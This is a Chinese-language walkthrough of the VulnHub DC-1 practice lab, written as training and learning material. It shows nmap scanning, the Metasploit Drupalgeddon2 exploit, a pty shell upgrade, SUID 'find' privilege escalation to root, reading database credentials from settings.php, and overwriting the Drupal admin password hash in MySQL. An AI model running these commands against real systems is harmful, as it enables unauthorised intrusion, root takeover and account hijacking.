vulnhub DC1 靶场练习

前提准备

kali:攻击机

DC1:靶机

两个虚拟机以nat模式连接

收集信息

查看本机ip

1
ifconfig

image-20211206132003359

nmap扫描靶机ip

1
nmap 192.168.222.0/24

image-20211206132438582

通过nmap寻找到靶机的地址为192.168.222.137

对靶机进行更详细的扫描

1
nmap -A -sV --min-parallelism 200 192.168.222.137

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

收集的信息还比较多,有80端口,22端口,111端口,还收集到了该网站用的cms是Drupal 7

通过浏览器打开这个网站看看,访问192.168.222.137

image-20211206134144305

没有发现什么有价值的东西

漏洞利用

通常情况下,cms会存在比较多的漏洞,在cms中寻找突破口也是比较简单的。接下来我们就用msf来搜索一下该cms存在的漏洞。

1
2
msfconsole		//启动msfconsole
search drupal //搜索与drupal有关的漏洞

image-20211206160338989

尝试利用18年的那个漏洞exploit/unix/webapp/drupal_drupalgeddon2

1
2
3
4
use 4
set rhosts 192.168.222.137 //设置成靶机的ip
run
getuid //查看权限

image-20211206161817568

发现权限为www-data

接下来就获取一个交互式的shell,这次获取交互式shell的方法是通过python来调用bash

1
2
shell
python -c 'import pty;pty.spawn("/bin/bash")'

image-20211206163629911

ls列出当前目录,发现flag1.txt

cat flag1.txt

image-20211206163832570

flag1中有提示配置文件,下一个flag的地方应该在配置文件中能找到线索

提权

我们先不急着找flag2,尝试一下suid提权。

寻找具有s权限的文件

1
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

-perm 是代表按指定权限搜索。

-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。

-type 代表搜索指定的类型,f代表文件。

-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以;为结束标识。

-2>/dev/null 代表将不显示错误信息

image-20211206164643913

成功找到了一个find,通过find可以和容易的提示至root权限,看来suid提权在linux中还是非常普遍的。

通过suid提权

1
2
3
echo >a
find a -exec /bin/bash \;
whoami

echo >a 是创建一个文件,提供给find来搜索。因为find每找到一个文件就会执行一次命令,为了让find只执行一次,所以创建一个独特的文件供find搜索。

image-20211206165735935

发现没有提权成功,原因是执行/bin/sh能提权成功。因为sh指向的文件时/bin/dash,这两个都能执行shell命令,但是dash是个简易版的shell执行程序。因为/bin/bash 比较高级,所以它考虑的事就会多一点,它会在执行时强制把euid(suid)转化成当前用户的uid,也就是不以root权限执行。但是加一个参数-p的话就不会强制转化euid了。如下图所示,加上参数-p即可提权成功。

1
2
3
find a -exec /bin/bash -p \;

find a -exec /bin/sh \;

image-20211206165905298

提权成功,拿下root权限

1
2
3
cd /root
ls
cat thefinalflag.txt

image-20211206170122263

成功拿下最终的flag

获取网站的管理员权限

获取mysql的账号密码

刚刚拿到flag1时提示说配置文件。

上网搜了一下Drupal的配置文件为sites/default/settings.php

那我们进入var/www/sites/default/settings.php即可

1
2
3
4
5
6
7
8
9
10
cd ../
ls
cd var
cd www
ls
cd sites
ls
cd default
ls
cat setting.php

image-20211206171951096

image-20211206172039937

在这个文件下发现了账号dbuser,密码R0ck3t。直接连接mysql数据库并查询用户数据。注意flag2也在这个文件中。

flag2:

image-20211206180619601

image-20211206172219017

1
mysql -udbuser -pR0ck3t

-u 后面是账号,-p 后面是密码,不用加空格。

连接mysql数据库,进行数据查询

注意mysql中的命令都需要分号结尾

1
show databases;			//查看有哪些数据库

image-20211206173017127

1
use drupaldb;			//选择drupaldb数据库

image-20211206173043193

1
show tables;			//查看drupaldb中有哪些表

image-20211206173056722

image-20211206173119425

1
select * from users;	//查询users表中所有数据

image-20211206173204456

通过查询users表中的账号得知admin的密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。

获取加密脚本

经过查找,发现网站的目录下有一个scripts的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh的脚本文件,该文件应该就是密码的加密脚本了。

image-20211206174039518

image-20211206174153304

找到脚本后去网站根目录执行脚本

1
2
cd /var/www
./scripts/password-hash.sh admin

image-20211206174523608

执行成功,将admin加密成$S$DIInYBU8F4j4joLPO.TTKpfETyjsBy2zY0gqbhHbMTVrsw8F31wp

将管理员密码修改成admin对应的密文

执行下面命令:

1
2
3
mysql -udbuser -pR0ck3t 		//连接数据库
use drupaldb; //选择drupaldb库
update users set pass='$S$DIInYBU8F4j4joLPO.TTKpfETyjsBy2zY0gqbhHbMTVrsw8F31wp' where name='admin'; //更新密码

image-20211206174843363

更新成功,直接上网站登录管理员账号,账号密码即为我们修改成功的admin

成功登录网站

image-20211206175052319

image-20211206175108425

点击Dashboard发现flag3,点击即可获取

image-20211206175226285

提示passwd,在etc目录下发现passwd文件

1
cat /etc/paasswd

image-20211206175602570

直接拿下flag4

1
2
3
cd /home/flag4
ls
cat flag4.txt

image-20211206175655208

到这该靶机五个flag全部拿下,也学到了不少知识

参考链接

http://t.zoukankan.com/ph1sh-p-12333122.html

https://blog.csdn.net/rpsate/article/details/119548421?spm=1001.2014.3001.5501